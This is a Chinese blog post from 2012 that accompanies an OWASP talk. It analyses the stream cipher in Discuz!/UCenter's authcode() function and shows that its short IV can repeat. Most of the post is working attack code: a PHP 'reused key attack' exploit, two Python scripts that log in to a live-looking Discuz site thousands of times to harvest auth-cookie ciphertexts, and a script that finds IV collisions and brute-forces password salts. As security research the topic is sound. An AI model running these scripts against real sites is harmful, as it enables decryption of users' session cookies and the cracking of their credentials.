Chinaunix首页 | 论坛 | 博客
  • 博客访问: 1202654
  • 博文数量: 272
  • 博客积分: 3899
  • 博客等级: 中校
  • 技术积分: 4734
  • 用 户 组: 普通用户
  • 注册时间: 2012-06-15 14:53
文章分类

全部博文(272)

文章存档

2012年(272)

分类: 网络与安全

2012-06-27 16:31:57

 与上一篇一样,此文是2011 OWASP主题演讲的补充。本文中也会发布在演讲中提到的演示代码。如果读者对密码学不是很熟悉,请先阅读之前的两篇blog文章。

 

    Discuz!的authcode()函数是一个经典的流密码算法实现,discuz和ucenter的很多产品都使用此函数进行加解密。我从网上找了一份算法分析,并自己补充了一些注释,如下(觉得枯燥的朋友也可以跳过此部分,不影响阅读):

======================================================================

// $string: 明文 或 密文     

// $operation:DECODE表示解密,其它表示加密     

// $key: 密匙     

// $expiry:密文有效期    

//字符串解密加密   

function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {   

     // 动态密匙长度,相同的明文会生成不同密文就是依靠动态密匙  (初始化向量IV)  

    $ckey_length = 4;   // 随机密钥长度 取值 0-32;   

                // 加入随机密钥,可以令密文无任何规律,即便是原文和密钥完全相同,加密结果也会每次不同,增大破解难度。(实际上就是iv)

                // 取值越大,密文变动规律越大,密文变化 = 16 的 $ckey_length 次方   

                // 当此值为 0 时,则不产生随机密钥   

    // 密匙    

    $key = md5($key ? $key : UC_KEY);   

    // 密匙a会参与加解密    

    $keya = md5(substr($key, 0, 16));   

    // 密匙b会用来做数据完整性验证    

    $keyb = md5(substr($key, 16, 16));   

    // 密匙c用于变化生成的密文   (初始化向量IV)

    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';   

    // 参与运算的密匙   

    $cryptkey = $keya.md5($keya.$keyc);   

    $key_length = strlen($cryptkey);   

  

    // 明文,前10位用来保存时间戳,解密时验证数据有效性,10到26位用来保存$keyb(密匙b),解密时会通过这个密匙验证数据完整性     

    // 如果是解码的话,会从第$ckey_length位开始,因为密文前$ckey_length位保存 动态密匙,以保证解密正确    

    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;   

    $string_length = strlen($string);   

  

    $result = '';   

    $box = range(0, 255);   

  

    $rndkey = array();   

    // 产生密匙簿    

    for($i = 0; $i <= 255; $i++) {   

        $rndkey[$i] = ord($cryptkey[$i % $key_length]);   

    }   

     // 用固定的算法,打乱密匙簿,增加随机性,好像很复杂,实际上对并不会增加密文的强度    

    for($j = $i = 0; $i < 256; $i++) {   

        $j = ($j + $box[$i] + $rndkey[$i]) % 256;   

        $tmp = $box[$i];   

        $box[$i] = $box[$j];   

        $box[$j] = $tmp;   

    }   

    // 核心加解密部分   

    for($a = $j = $i = 0; $i < $string_length; $i++) {   

        $a = ($a + 1) % 256;   

        $j = ($j + $box[$a]) % 256;   

        $tmp = $box[$a];   

        $box[$a] = $box[$j];   

        $box[$j] = $tmp;   

        // 从密匙簿得出密匙进行异或,再转成字符   

        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));  

    }   

  

    if($operation == 'DECODE') {   

        // 验证数据有效性,请看未加密明文的格式    

        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {   

            return substr($result, 26);   

        } else {   

            return '';   

        }   

    } else {   

         // 把动态密匙保存在密文里,这也是为什么同样的明文,生产不同密文后能解密的原因     

         // 因为加密后的密文可能是一些特殊字符,复制过程可能会丢失,所以用base64编码    

        return $keyc.str_replace('=', '', base64_encode($result));   

    }   

}  

======================================================================

    在这个函数中,keyc 就是IV(初始化向量), ckey_length 就是IV的长度。$ckey_length = 0时,没有IV。

 

    IV的意义就是为了一次一密,它影响到真正每次用于加密的XOR KEY。

    而“Reused Key Attack”的前提就是要求XOR KEY是相同的。但discuz默认使用的IV长度是4,这并不是一个很大的值,因此可以遍历出所有的IV可能值。一旦IV出现重复,就意味着XOR KEY也重复了,因此可以实施“Reused Key Attack”。

    如下演示代码

 

define('UC_KEY','asdfasfas');

 

$plaintext1 = "2626";

$plaintext2 = "2630";

 

$guess_result = "";

 

$time_start = time();

 

$dict = array();

global $ckey_length;

$ckey_length = 4;

 

echo "== Discuz/UCenter authcode() stream cipher attack exploit v2(crack plaintext)\n";

echo "== 0day by axis ==\n";

echo "== 2011.9.2 ==\n\n";

 

echo "Collecting Dictionary(XOR Keys).\n";

 

 

$cipher2 = authcode($plaintext2, "ENCODE" , UC_KEY);

 

$counter = 0;

for (;;){

  $counter ++;

  $cipher1 = authcode($plaintext1, "ENCODE" , UC_KEY);

  $keyc1 = substr($cipher1, 0, $ckey_length);

  $cipher1 = base64_decode(substr($cipher1, $ckey_length));

      

  $dict[$keyc1] = $cipher1;  

   

  if  ( $counter%1000 == 0){  

    echo ".";   

    if ($guess_result = guess($dict, $cipher2)){

      break;

    }     

  }  

}

 

array_unique($dict);

 

echo "\nDictionary Collecting Finished..\n";

echo "Collected ".count($dict)." XOR Keys\n";

 

function guess($dict, $cipher2){

  global $plaintext1,$ckey_length;

 

  $keyc2 = substr($cipher2, 0, $ckey_length);

  $cipher2 = base64_decode(substr($cipher2, $ckey_length));  

 

  for ($i=0; $i

    if (array_key_exists($keyc2, $dict)){

      echo "\nFound key in dictionary!\n";

      echo "keyc is: ".$keyc2."\n";

      

      return crack($plaintext1,$dict[$keyc2],$cipher2);

      break;

    }

  }

  return False;

}

 

 

echo "\ncounter is:".$counter."\n";

$time_spend = time() - $time_start;

echo "crack time is: ".$time_spend." seconds \n";

echo "crack result is :".$guess_result."\n"; 

 

function crack($plain, $cipher_p, $cipher_t){

    $target = '';

        

    $tmp_p = substr($cipher_p, 26);

    echo hex($tmp_p)."\n";

    

    $tmp_t = substr($cipher_t, 26);

    echo hex($tmp_t)."\n";

    

    for ($i=0;$i

        $target .= chr(ord($plain[$i]) ^ ord($tmp_p[$i]) ^ ord($tmp_t[$i]));   

    }

    return $target;

}

 

 

function hex($str){

    $result = '';

    for ($i=0;$i

         $result .= "\\".ord($str[$i]);

    }

    return $result;

}     

 

            

function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {

 

    global $ckey_length;

    //$ckey_length = 4;

 

    $key = md5($key ? $key : UC_KEY);

    $keya = md5(substr($key, 0, 16));

    $keyb = md5(substr($key, 16, 16));

    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

 

    $cryptkey = $keya.md5($keya.$keyc);

    $key_length = strlen($cryptkey);

 

    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;

    $string_length = strlen($string);

 

    $result = '';

    $box = range(0, 255);

 

    $rndkey = array();

    for($i = 0; $i <= 255; $i++) {

        $rndkey[$i] = ord($cryptkey[$i % $key_length]);

    }

 

    for($j = $i = 0; $i < 256; $i++) {

        $j = ($j + $box[$i] + $rndkey[$i]) % 256;

        $tmp = $box[$i];

        $box[$i] = $box[$j];

        $box[$j] = $tmp;

    }

 

    //$xx = ''; // real key

    for($a = $j = $i = 0; $i < $string_length; $i++) {

        $a = ($a + 1) % 256;

        $j = ($j + $box[$a]) % 256;

        $tmp = $box[$a];

        $box[$a] = $box[$j];

        $box[$j] = $tmp;

        //$xx .= chr($box[($box[$a] + $box[$j]) % 256]);

        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));

    }

    //echo "xor key is: ".hex($xx)."\n";

 

    if($operation == 'DECODE') {

        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {

            return substr($result, 26);

        } else {

            return '';

        }

    } else {

        return $keyc.str_replace('=', '', base64_encode($result));

    }

}        

 

?>

 

    测试效果:

    在实际互联网中,要强迫出现重复的IV也不是什么难事。IV不是保密信息,密文的前4字节就是IV的值。

    以下演示代码,将从一个网站中遍历出重复的IV。

    每次请求抓取到的密文和IV,会存放在本地数据库中。通过另一个程序周期性的查询数据库,看是否出现了重复的IV。根据birthday attack的原理,启动了两个抓取进程(注册了两个网站用户,以便产生出不同的明文用于加密),分别将取回的密文存在两张表里。两个抓取程序的代码是一样的。由于时间关系,没有再次优化这个POC了。

grab_cipher1.py:

======================================================================

import string 

import urllib2

import urllib

#from urlparse import urlparse   

import httplib    

import Cookie

import sqlite3

import base64

import operator

 

#url = ""

#req = urllib2.Request(url,data,headers)     

#f = urllib2.urlopen(req)

 

# Step1 get cipher1 of plaintext1 to generate dictionary

 

dbcon = sqlite3.connect('./authcode.db')

c = dbcon.cursor()

# 如果是第一次执行,需要创建表,之后则不再需要

#c.execute('CREATE TABLE photo003_2626(id INTEGER PRIMARY KEY, iv VARCHAR(32), cipher TEXT)')

 

dbcon.text_factory = str

 

 

for i in range(0,10000):

  headers = {'User-Agent':'Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20',

             'Content-Type':'application/x-www-form-urlencoded',

             'Referer':'',

             'Cookie':'79uz_d57e_lastvisit=1315289799; 79uz_d57e_sid=mwblLl; 79uz_d57e_lastact=1315293401%09home.php%09misc; 79uz_d57e_sendmail=1; pgv_pvi=5521148000; pgv_info=ssi=s4855221700; cnzz_a2048277=0; sin2048277=; rtime=0; ltime=1315293240710; cnzz_eid=24694723-1315293457-; lzstat_uv=25192795223599758253|1758779; lzstat_ss=273007993_0_1315322042_1758779'}

  

  data = {'username':'请替换username','password':'请替换pass','quickforward':'yes','handlekey':'ls'}

  data = urllib.urlencode(data)

 

  conn = httplib.HTTPConnection("photo003.com")

  conn.request('POST',

               '/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1',

               data,

               headers)

 

  res = conn.getresponse()

 

  if res:

    cookies = Cookie.SimpleCookie()

    cookies.load(res.getheader("Set-Cookie"))

 

    authcookie = urllib.unquote(cookies["79uz_d57e_auth"].value)

    iv = authcookie[0:4]

    cipher = base64.b64decode(authcookie[4:])

    

    c.execute('INSERT INTO photo003_2626(iv, cipher) VALUES (?, ?)',(iv, cipher))

 

    dbcon.commit()

    

    print str(i) + '   ' + iv

======================================================================

 

grab_cipher2.py:

 ======================================================================

import string 

import urllib2

import urllib

#from urlparse import urlparse   

import httplib    

import Cookie

import sqlite3

import base64

import operator

 

#url = ""

#req = urllib2.Request(url,data,headers)     

#f = urllib2.urlopen(req)

 

# Step1 get cipher1 of plaintext1 to generate dictionary

 

dbcon = sqlite3.connect('./authcode.db')

c = dbcon.cursor()

#c.execute('CREATE TABLE photo003_2630(id INTEGER PRIMARY KEY, iv VARCHAR(32), cipher TEXT)')

 

dbcon.text_factory = str

 

 

for i in range(0,10000):

  headers = {'User-Agent':'Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20',

             'Content-Type':'application/x-www-form-urlencoded',

             'Referer':'',

             'Cookie':'79uz_d57e_lastvisit=1315289799; 79uz_d57e_sid=mwblLl; 79uz_d57e_lastact=1315293401%09home.php%09misc; 79uz_d57e_sendmail=1; pgv_pvi=5521148000; pgv_info=ssi=s4855221700; cnzz_a2048277=0; sin2048277=; rtime=0; ltime=1315293240710; cnzz_eid=24694723-1315293457-; lzstat_uv=25192795223599758253|1758779; lzstat_ss=273007993_0_1315322042_1758779'}

  

  data = {'username':'请替换username2','password':'请替换pass2','quickforward':'yes','handlekey':'ls'}

  data = urllib.urlencode(data)

 

  conn = httplib.HTTPConnection("photo003.com")

  conn.request('POST',

               '/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1',

               data,

               headers)

 

  res = conn.getresponse()

 

  if res:

    cookies = Cookie.SimpleCookie()

    cookies.load(res.getheader("Set-Cookie"))

 

    authcookie = urllib.unquote(cookies["79uz_d57e_auth"].value)

    iv = authcookie[0:4]

    cipher = base64.b64decode(authcookie[4:])

    

    c.execute('INSERT INTO photo003_2630(iv, cipher) VALUES (?, ?)',(iv, cipher))

 

    dbcon.commit()

    

    print str(i) + '   ' + iv

 

======================================================================

 

crack_discuz_authcode.py:

======================================================================

import string 

import urllib2

import urllib

#from urlparse import urlparse   

import httplib    

import Cookie

import sqlite3

import base64

import operator

import md5

import random

 

 

def crack(plain1, cipher1, cipher2):

    plain2 = ''    

    

    for i in range(0,len(plain1)):

      ch = operator.xor(ord(plain1[i]), ord(cipher1[i]))

      plain2 += chr(operator.xor(ch, ord(cipher2[i])))  

    

    return plain2

 

def bytecode(st):

    s = ''

    for c in st:

      s = s + str(ord(c)) + ','

    

    return s  

 

def list_iv_collision():

  dbcon = sqlite3.connect('./authcode.db')

  c = dbcon.cursor()

 

  dbcon.text_factory = str

 

  c.execute('select * from photo003_2626')

  r1 = c.fetchall()

 

  c.execute('select * from photo003_2630')

  r2 = c.fetchall()

  if r1 and r2:

    for c1 in r1:

      for c2 in r2:

        if c1[1] == c2[1]:

          print c1[1] + '   ' + c2[1]

  

  c.close()

 

 

dbcon = sqlite3.connect('./authcode.db')

c = dbcon.cursor()

 

dbcon.text_factory = str

 

list_iv_collision()

 

###################################

#  下面的代码尝试破解salt,此功能尚未完成

###################################

iv = "dee5"

pwd = "password"

 

c.execute('select * from photo003_2626 where iv=?', (iv,))

r1 = c.fetchone()

 

c.execute('select * from photo003_2630 where iv=?', (iv,))

r2 = c.fetchone()

 

if r1 and r2:

  for x in range(0,99999999):

    csets = "abcdefghijklmnopqrstuvwxyz0123456789"

    salt = ''

    for i in range(0,6):

      salt += random.choice(csets)

     

    plain1 = md5.new(md5.new(pwd).hexdigest() + salt).hexdigest() + '\t' + '2626'

    #print salt

    #print plain1

    plain2 = crack(plain1, r1[2][26:], r2[2][26:] )

    #print plain2

    if plain1[0:32] == plain2[0:32]:

       print salt

       print 'counter is:' + str(x)

       break

    

    if x%100000 == 0:

      print str(x) + '    ' + salt

 

c.close()

 

======================================================================

 

    测试效果:

    在十几分钟内就能收集到很多重复的IV。

 

    通过这样的方法还能够破解salt,但由于时间关系,我没有继续完成此段代码了,有兴趣的读者可以继续研究下去。

 

    authcode()函数由于有HMAC的存在因此无法伪造出任意明文的密文。这是因为HMAC的生成与服务端密钥有关,在未知密钥的情况下,是无法构造出合法的HMAC的。

    

    最后,我想说的是,这些攻击最后能产生什么样的后果,是要看应用使用该加密算法做了什么事情。在phpwind中,我找到了验证码的一个缺陷。但由于时间关系,我并未去寻找更多有利用价值的地方。

 

    这些攻击都是在“不知道密钥”的情况下实施的攻击。而渗透的过程是复杂的,有时候通过注入、文件包含等方式能够获取到密钥,就可能会衍生出另外一些风险。比如知道密钥后,可以构造出合法的时间戳和HMAC,从而完成bit-flipping攻击,使得一个本来失效的cookie再次有效(假设autchode不再认为0000000000的时间是合法的)。这些都需要发挥安全研究者的想象力。

阅读(4199) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~